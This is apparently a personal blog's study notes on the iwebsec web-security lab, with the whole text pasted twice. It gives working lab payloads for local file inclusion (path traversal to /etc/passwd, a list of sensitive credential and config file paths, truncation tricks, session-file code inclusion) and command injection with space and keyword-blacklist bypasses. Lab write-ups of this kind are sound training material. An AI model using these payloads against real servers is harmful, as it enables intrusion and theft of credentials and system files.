iwebsec学习笔记

file=php://filter/read=convert.base64-encode/resource=index.php

SQL注入

 留坑

文件上传

 留坑

文件包含

 1、http://xx:xx:xx:xx:xx/fi/01.php

http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd

 

用../不断返回上一层,然后重新打开敏感文件

Linux/Unix系统:

    /etc/passwd // 账户信息

    /etc/shadow // 账户密码文件

    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

    /usr/local/app/php5/lib/php.ini // PHP相关配置

    /etc/httpd/conf/httpd.conf // Apache配置文件

    /etc/my.conf // mysql 配置文件

Windows系统:

    c:\boot.ini // 查看系统版本

    c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

    c:\windows\repair\sam // 存储Windows系统初次安装的密码

    c:\ProgramFiles\mysql\my.ini // MySQL配置

    c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

    c:\windows\php.ini // php 配置信息
还可以参考:https://blog.csdn.net/doulicau/article/details/106683724 

灵活使用

2、http://xx:xx:xx:xx:xx/fi/02.php

(1):%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4)

http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00

同时放上一些其他的截断方法

(2)路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

EXP

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

(3)点号截断

条件:windows OS,点号需要长于256

EXP

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

参考自:https://blog.csdn.net/Vansnc/article/details/82528395

 

 

 3、http://xx.xx.xx.xx:xx/fi/03.php

session本地文件包含

前提需要一个本地文件包含,比如iwebsec中的前面两个

然后就能更好的利用session本地文件包含

session路径:

Linux:

  在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/

 

 windows:

  像我用的phpstudy一键搭建的环境,php版本为PHP  5.4.45。session路径是E:\phpStudy\PHPTutorial\tmp\tmp

  

 

 

session_start()解释:
1.session的工作原理
(1)首先使用session_start()函数进行初始换

(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。

(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建S​ESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取

这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>

F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0

 

进入服务器查看文件

 

   `1q2w3wwewq2e23

 成功写入

用之前的本地文件包含漏洞读取这个文件

payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0

 

 

  • php://filter伪协议
  • php://input伪协议
  • file://伪协议利用
  • data://伪协议利用

命令执行 

1、

 

url:http://ip:32110/exec/01.php?ip=127.0.0.1

可以猜测是ifconfig ip

在后面加上 ; 分隔开

http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd

 

2、

第二个是空格绕过,如果参数中出现了空格,直接报error

URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd

 

 

在linux bash中可以用以下几个符号代替空格

<

${IFS}

$IFS$9

如果是PHP环境,也可以用%09

URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

 

 

3、

第三个是黑名单,关键命令绕过

 

cat命令被拉进黑名单了

用a=ca;b=t;$a$b /etc/passwd绕过。

 URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

 

 

4、

 

5、

 

 

 

 

 

 

代码执行

  留坑

xss

  留坑

SSRF

  留坑

XXE

  留坑

反序列化

  留坑

中间件漏洞

  留坑

解析漏洞

  留坑

数据库漏洞

 留坑

 

------------恢复内容开始------------

file=php://filter/read=convert.base64-encode/resource=index.php

SQL注入

 留坑

文件上传

 留坑

文件包含

 1、http://xx:xx:xx:xx:xx/fi/01.php

http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd

 

用../不断返回上一层,然后重新打开敏感文件

Linux/Unix系统:

    /etc/passwd // 账户信息

    /etc/shadow // 账户密码文件

    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

    /usr/local/app/php5/lib/php.ini // PHP相关配置

    /etc/httpd/conf/httpd.conf // Apache配置文件

    /etc/my.conf // mysql 配置文件

Windows系统:

    c:\boot.ini // 查看系统版本

    c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

    c:\windows\repair\sam // 存储Windows系统初次安装的密码

    c:\ProgramFiles\mysql\my.ini // MySQL配置

    c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

    c:\windows\php.ini // php 配置信息
还可以参考:https://blog.csdn.net/doulicau/article/details/106683724 

灵活使用

2、http://xx:xx:xx:xx:xx/fi/02.php

(1):%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4)

http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00

同时放上一些其他的截断方法

(2)路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

EXP

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

(3)点号截断

条件:windows OS,点号需要长于256

EXP

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

参考自:https://blog.csdn.net/Vansnc/article/details/82528395

 

 

 3、http://xx.xx.xx.xx:xx/fi/03.php

session本地文件包含

前提需要一个本地文件包含,比如iwebsec中的前面两个

然后就能更好的利用session本地文件包含

session路径:

Linux:

  在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/

 

 windows:

  像我用的phpstudy一键搭建的环境,php版本为PHP  5.4.45。session路径是E:\phpStudy\PHPTutorial\tmp\tmp

  

 

 

session_start()解释:
1.session的工作原理
(1)首先使用session_start()函数进行初始换

(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。

(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建S​ESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取

这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>

F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0

 

进入服务器查看文件

 

   `1q2w3wwewq2e23

 成功写入

用之前的本地文件包含漏洞读取这个文件

payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0

 

 

  • php://filter伪协议
  • php://input伪协议
  • file://伪协议利用
  • data://伪协议利用

命令执行 

1、

 

url:http://ip:32110/exec/01.php?ip=127.0.0.1

可以猜测是ifconfig ip

在后面加上 ; 分隔开

http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd

 

2、

第二个是空格绕过,如果参数中出现了空格,直接报error

URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd

 

 

在linux bash中可以用以下几个符号代替空格

<

${IFS}

$IFS$9

如果是PHP环境,也可以用%09

URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

 

 

3、

第三个是黑名单,关键命令绕过

 

cat命令被拉进黑名单了

用a=ca;b=t;$a$b /etc/passwd绕过。

 URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

 

 

4、

 

5、

 

 

 

 

 

 

代码执行

  留坑

xss

  留坑

SSRF

  留坑

XXE

  留坑

反序列化

  留坑

中间件漏洞

  留坑

解析漏洞

  留坑

数据库漏洞

 留坑

 

------------恢复内容结束------------

posted @ 2021-01-17 16:16  This_is_Y  阅读(2524)  评论(0编辑  收藏  举报